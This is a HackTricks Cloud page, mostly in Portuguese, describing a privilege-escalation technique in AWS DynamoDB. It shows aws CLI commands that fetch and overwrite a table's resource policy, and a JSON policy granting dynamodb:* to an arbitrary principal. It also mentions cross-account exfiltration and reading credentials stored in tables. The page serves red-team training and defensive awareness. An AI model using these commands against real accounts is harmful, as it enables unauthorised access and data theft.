AWS - DynamoDB Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
dynamodb
Para mais informações sobre dynamodb consulte:
dynamodb:PutResourcePolicy, e opcionalmente dynamodb:GetResourcePolicy
Desde março de 2024, a AWS oferece políticas baseadas em recursos para DynamoDB (AWS News).
Então, se você tem o dynamodb:PutResourcePolicy para uma tabela, você pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
Conceder o dynamodb:PutResourcePolicy a um principal aleatório frequentemente acontece por acidente, se os administradores pensarem que conceder dynamodb:Put* permitiria apenas que o principal inserisse itens no banco de dados — ou se eles concederam esse conjunto de permissões antes de março de 2024…
Idealmente, você também tem dynamodb:GetResourcePolicy, assim não sobrescreve outras permissões potencialmente vitais, mas apenas injeta as permissões adicionais que você precisa:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Se não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Se precisar personalizá-la, aqui está uma lista de todas as possíveis ações do DynamoDB: AWS Documentation. E aqui está uma lista de todas as ações que podem ser permitidas via uma política baseada em recurso E quais delas podem ser usadas cross-account (pense em data exfiltration!): AWS Documentation
Agora, com o documento de política policy.json pronto, coloque a política baseada em recurso:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Agora, você deve ter as permissões necessárias.
Post Exploitation
Pelo que sei, não existe outra forma direta de escalate privileges in AWS apenas por ter algumas permissões do AWS dynamodb. Você pode ler informações sensíveis das tabelas (que podem conter credenciais AWS) e escrever informações nas tabelas (o que pode acionar outras vulnerabilidades, como lambda code injections…) mas todas essas opções já são consideradas na DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Read data abusing data Streams
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

